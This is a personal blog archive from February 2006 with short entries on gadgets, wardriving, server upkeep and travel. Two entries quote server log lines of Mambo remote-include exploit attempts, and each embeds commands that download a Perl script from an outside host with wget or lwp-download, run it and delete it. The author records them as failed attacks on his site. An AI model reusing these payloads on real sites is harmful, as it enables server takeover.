News archive February 2006 - Koos van den Hout

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2006-02-27 (#) 14 years ago
Boom verplaatserNeem eens een boompje mee.. (verplaatsing bomen in de Uithof wegens aanleg busbaan)

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2006-02-27 (#) 14 years ago
I tried to download all pictures I took yesterday from my Nokia 6630 phone. This is tedious as Nokia has a weird filenaming scheme: 26022006.jpg, 26022006(001).jpg, .. and since obexftp can't do filename globbing, that gets quite boring fast. But, unix to the rescue: for a in `seq 13 26` ; do ../bin/obexftp -b 00:15:A0:12:34:56 -B 12 -c 'E:/Images/' -g '26022006('`printf '%03d' $a`').jpg' ; done. And all the pictures transfer while I do something useful.

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2006-02-25 (#) 14 years ago
Ik heb eens met een set homeplug netwerk adapters gewerkt en de ervaringen ingetikt. Het werkt. En geeft vast veel storing.

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2006-02-22 (#) 14 years ago
World's largest Windows error message. Times square, a windows error message two floors high (that would be 6 to 8 meter). Yes, it is a winner for the largest Windows error message.

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2006-02-20 (#) 14 years ago
Interesting webcam stuff (this subject keeps interesting me!).. the Alaska Volcano Observatory has webcams monitoring several active volcanoes in Alaska. The people in the areas affected by these volcanoes visit the site often to get warnings of possible ashfall. Great site, and it is good to see how modern communication methods (radio networks, internet, web) improve the flow of specialized news to faraway communities interested in that specialized news.

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2006-02-19 (#) 14 years ago
And 52 hours after my afterthought about mentioning the magic phrase for a web worm the first attempt: h58737.serverkompetenz.net - - [18/Feb/2006:23:49:09 +0100] "GET /index.php?_REQUEST[option]=com_content& _REQUEST[Itemid]=1& GLOBALS=& mosConfig_absolute_path=http://www.microsofti.li/tool.gif?& cmd=cd%20/tmp/;lwp-download%20http://www.microsofti.li/sess3024_;perl%20sess3024_;rm%20-rf%20sess3024*? HTTP/1.0" 200 3090 "-" "Mozilla/5.0"

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2006-02-17 (#) 14 years ago
idefix.net now lives on a new server, somewhat faster and more reliable. Time to update the picture on that page! I also moved stuff like The Virtual Bookcase and Camp Wireless. Only thing that gave me troubles right before moving was GNU mailman.

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2006-02-16 (#) 14 years ago
Wardriving results 11-16 February: 5348 networks seen, 1065 new with GPS locations according to WiGLE. Some great results from new detours in Utrecht and a trip to the Concertgebouw in Amsterdam.

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2006-02-16 (#) 14 years ago
Finally fetched the source of the mambo exploit I mentioned before. It does a Google search for "by mambo" and this phrase can be found using google on The Virtual Bookcase exactly once, in the page about Books by Mambo Ama Mazama. Interesting source to read.. a bit of php which calls itself Defacing Tool 2.0 by r3v3ng4ns and a bit of perl which starts an ircbot on server bsd.cuti.cz which allows the usual stuff like taking over the machine and doing portscans. Afterthought: will this host now also get hit because it contains the magic phrase?

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2006-02-16 (#) 14 years ago
Update aan de howto over draadloos netwerk.. naar aanleiding van een vraag een stukje over WDS (wireless distribution system) toegevoegd.

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2006-02-16 (#) 14 years ago
Fun story in Wired News today: Tune In, Turn On, Veg Out.. guy rediscovers TV and finds out what he missed in five years of American TV.

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2006-02-15 (#) 14 years ago
forecastfox display of rain, rain, rainIt is raining, and it will rain for the next few days. Forecastfox is showing it. So I get lazy and take the car to work.

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2006-02-14 (#) 14 years ago
From a news.com article about Intel making a deal with skype to limit the functionality of skype on non-Intel x86 hardware asks: Would you avoid buying a PC with an Advanced Micro Devices chip inside because it wouldn't let you host an Internet conference call with six of your friends?. No. I'd buy a PC with AMD inside and drop skype completely.

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2006-02-14 (#) 14 years ago
On The Virtual Bookcase I get loads and loads of requests looking like (broken up for readability): "GET /book/byauthor/index.php? _REQUEST[option]=com_content& _REQUEST[Itemid]=1&GLOBALS=& mosConfig_absolute_path=http://www.thriftysix.co.uk/tool25.txt ?&cmd=cd%20/tmp/;wget%20http://www.thriftysix.co.uk/logs.txt; perl%20logs.txt;rm%20-rf%20logs.txt*? HTTP/1.0" 404 2348 "-" "Mozilla/5.0". All fail ofcourse (that's how I notice them). It seems this is a Mambo exploit in use. Funny thing is I never use Mambo on any site.
I have tried several times to get that tool25.txt to have a look, but it always returns 'The server is temporarily unable to service your request due to the site owner reaching his/her bandwidth limit. Please try again later.'

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2006-02-12 (#) 14 years ago
Wardriving results 8 - 10 February: 1962 networks seen, 173 new with GPS locations according to WiGLE. Even minor detours through the city of Utrecht in streets that I haven't been in in a few months give me lots of new access points. Wireless is still growing.

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2006-02-12 (#) 14 years ago
After too regular filesystem-related problems with the homeserver, I replaced 3 SCSI disks with 1 IDE disk this weekend. Power consumption down on the entire system, cpu usage up on heavy filesystem access. I still get a weird error about unmounting /usr on shutdown, but I found the reason (ldap shared libraries always in use) and I circumvented the problem (also remounting /usr read-only). It took a number of hours of work in total: several hours syncing the old filesystems to the new, and after that several tries to get the system running with all hardware detected and working (there are still a lot of cables in there, and some get unplugged easily on opening and closing the tower case).

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2006-02-12 (#) 14 years ago
Doing some updates to Camp Wireless, finding campsites that advertise as having wireless Internet in the Woodall's guide... just added campsite number 400(!), Hot Springs National Park KOA in Arkansas, USA. It is funny to see the growth in campsites with wireless Internet access.

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2006-02-06 (#) 14 years ago
Back from a snowboarding holiday in Tignes, France. No snowboarding accidents. I just slipped on the sidewalk at the last minute and scratched my right hand in a few places. Great snowboarding in Tignes, great weather. I had time to read too, and I decided to reread some books I read ages ago, and review them (again): The Great Train Robbery by Michael Crichton, In the beginning.. was the command line by Neal Stephenson and At Large: the strange case of the world's biggest internet invasion by David Freedman, Charles Mann. All great books to reread.

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